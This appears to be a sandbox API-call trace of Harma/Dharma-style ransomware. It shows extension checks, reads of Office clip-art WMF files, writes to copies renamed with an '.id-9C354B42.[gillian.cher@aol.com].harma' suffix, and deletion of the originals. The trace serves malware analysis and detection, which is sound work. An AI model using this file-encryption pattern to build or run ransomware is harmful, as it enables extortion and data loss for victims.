lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.061] lstrlenW (lpString=".ppt") returned 4 [0158.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.061] lstrlenW (lpString=".zip") returned 4 [0158.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.061] lstrlenW (lpString=".rar") returned 4 [0158.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.061] lstrlenW (lpString=".bz2") returned 4 [0158.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.061] lstrlenW (lpString=".7z") returned 3 [0158.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.062] lstrlenW (lpString=".dbf") returned 4 [0158.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.062] lstrlenW (lpString=".1cd") returned 4 [0158.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.062] lstrlenW (lpString=".jpg") returned 4 [0158.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.062] lstrlenW (lpString=".doc") returned 4 [0158.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString=".docx") returned 5 [0158.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.062] lstrlenW (lpString=".pdf") returned 4 [0158.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString=".xls") returned 4 [0158.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.062] lstrlenW (lpString=".xlsx") returned 5 [0158.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.062] lstrlenW (lpString=".ppt") returned 4 [0158.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.062] lstrlenW (lpString=".zip") returned 4 [0158.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.062] lstrlenW (lpString=".rar") returned 4 [0158.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString=".bz2") returned 4 [0158.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.062] lstrlenW (lpString=".7z") returned 3 [0158.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.063] lstrlenW (lpString=".dbf") returned 4 [0158.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.063] lstrlenW (lpString=".1cd") returned 4 [0158.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.063] lstrlenW (lpString=".jpg") returned 4 [0158.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.063] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.063] lstrlenW (lpString="HH01242_.WMF") returned 12 [0158.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.145] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7340) returned 1 [0158.145] CloseHandle (hObject=0x208) returned 1 [0158.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0158.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.177] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.177] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.177] GetLastError () returned 0x0 [0158.178] ReadFile (in: hFile=0x380, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1cac, lpOverlapped=0x0) returned 1 [0158.182] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0158.183] ReadFile (in: hFile=0x380, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.183] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.184] SetEndOfFile (hFile=0x350) returned 1 [0158.184] CloseHandle (hObject=0x350) returned 1 [0158.184] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.184] SetEndOfFile (hFile=0x380) returned 1 [0158.186] CloseHandle (hObject=0x380) returned 1 [0158.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0158.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.199] lstrlenW (lpString=".doc") returned 4 [0158.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.199] lstrlenW (lpString=".docx") returned 5 [0158.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.199] lstrlenW (lpString=".pdf") returned 4 [0158.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.199] lstrlenW (lpString=".xls") returned 4 [0158.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.199] lstrlenW (lpString=".xlsx") returned 5 [0158.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.199] lstrlenW (lpString=".ppt") returned 4 [0158.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.199] lstrlenW (lpString=".zip") returned 4 [0158.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.199] lstrlenW (lpString=".rar") returned 4 [0158.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.199] lstrlenW (lpString=".bz2") returned 4 [0158.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.199] lstrlenW (lpString=".7z") returned 3 [0158.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.200] lstrlenW (lpString=".dbf") returned 4 [0158.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.200] lstrlenW (lpString=".1cd") returned 4 [0158.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.200] lstrlenW (lpString=".jpg") returned 4 [0158.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.200] lstrlenW (lpString=".doc") returned 4 [0158.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString=".docx") returned 5 [0158.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.200] lstrlenW (lpString=".pdf") returned 4 [0158.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString=".xls") returned 4 [0158.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.200] lstrlenW (lpString=".xlsx") returned 5 [0158.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.200] lstrlenW (lpString=".ppt") returned 4 [0158.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.200] lstrlenW (lpString=".zip") returned 4 [0158.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.200] lstrlenW (lpString=".rar") returned 4 [0158.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString=".bz2") returned 4 [0158.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.200] lstrlenW (lpString=".7z") returned 3 [0158.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.201] lstrlenW (lpString=".dbf") returned 4 [0158.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.201] lstrlenW (lpString=".1cd") returned 4 [0158.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0158.201] lstrlenW (lpString=".jpg") returned 4 [0158.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.201] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.201] lstrlenW (lpString="HH01618_.WMF") returned 12 [0158.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.202] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7296) returned 1 [0158.202] CloseHandle (hObject=0x338) returned 1 [0158.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0158.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0158.745] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.745] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.747] GetLastError () returned 0x0 [0158.747] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1c80, lpOverlapped=0x0) returned 1 [0158.759] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0158.761] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.761] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.761] SetEndOfFile (hFile=0x368) returned 1 [0158.761] CloseHandle (hObject=0x368) returned 1 [0158.761] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.761] SetEndOfFile (hFile=0x20c) returned 1 [0158.763] CloseHandle (hObject=0x20c) returned 1 [0158.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0158.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.764] lstrlenW (lpString=".doc") returned 4 [0158.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.764] lstrlenW (lpString=".docx") returned 5 [0158.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.765] lstrlenW (lpString=".pdf") returned 4 [0158.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".xls") returned 4 [0158.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.765] lstrlenW (lpString=".xlsx") returned 5 [0158.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.765] lstrlenW (lpString=".ppt") returned 4 [0158.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.765] lstrlenW (lpString=".zip") returned 4 [0158.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.765] lstrlenW (lpString=".rar") returned 4 [0158.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".bz2") returned 4 [0158.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".7z") returned 3 [0158.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.765] lstrlenW (lpString=".dbf") returned 4 [0158.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.765] lstrlenW (lpString=".1cd") returned 4 [0158.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.765] lstrlenW (lpString=".jpg") returned 4 [0158.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.765] lstrlenW (lpString=".doc") returned 4 [0158.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString=".docx") returned 5 [0158.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.766] lstrlenW (lpString=".pdf") returned 4 [0158.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString=".xls") returned 4 [0158.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.766] lstrlenW (lpString=".xlsx") returned 5 [0158.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.766] lstrlenW (lpString=".ppt") returned 4 [0158.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.766] lstrlenW (lpString=".zip") returned 4 [0158.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.766] lstrlenW (lpString=".rar") returned 4 [0158.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString=".bz2") returned 4 [0158.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString=".7z") returned 3 [0158.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.766] lstrlenW (lpString=".dbf") returned 4 [0158.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.766] lstrlenW (lpString=".1cd") returned 4 [0158.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0158.766] lstrlenW (lpString=".jpg") returned 4 [0158.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.766] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.767] lstrlenW (lpString="HH01923_.WMF") returned 12 [0158.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0158.767] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=26706) returned 1 [0158.767] CloseHandle (hObject=0x20c) returned 1 [0158.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0158.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0158.768] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.768] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.768] GetLastError () returned 0x0 [0158.768] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x6852, lpOverlapped=0x0) returned 1 [0158.820] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x6860, lpOverlapped=0x0) returned 1 [0158.822] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.822] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.822] SetEndOfFile (hFile=0x368) returned 1 [0158.822] CloseHandle (hObject=0x368) returned 1 [0158.822] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.822] SetEndOfFile (hFile=0x20c) returned 1 [0158.826] CloseHandle (hObject=0x20c) returned 1 [0158.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0158.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.831] lstrlenW (lpString=".doc") returned 4 [0158.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.831] lstrlenW (lpString=".docx") returned 5 [0158.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.831] lstrlenW (lpString=".pdf") returned 4 [0158.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.831] lstrlenW (lpString=".xls") returned 4 [0158.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.831] lstrlenW (lpString=".xlsx") returned 5 [0158.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.831] lstrlenW (lpString=".ppt") returned 4 [0158.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0158.831] lstrlenW (lpString=".zip") returned 4 [0158.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.831] lstrlenW (lpString=".rar") returned 4 [0158.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.831] lstrlenW (lpString=".bz2") returned 4 [0158.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.831] lstrlenW (lpString=".7z") returned 3 [0158.831] lstrcmpiW 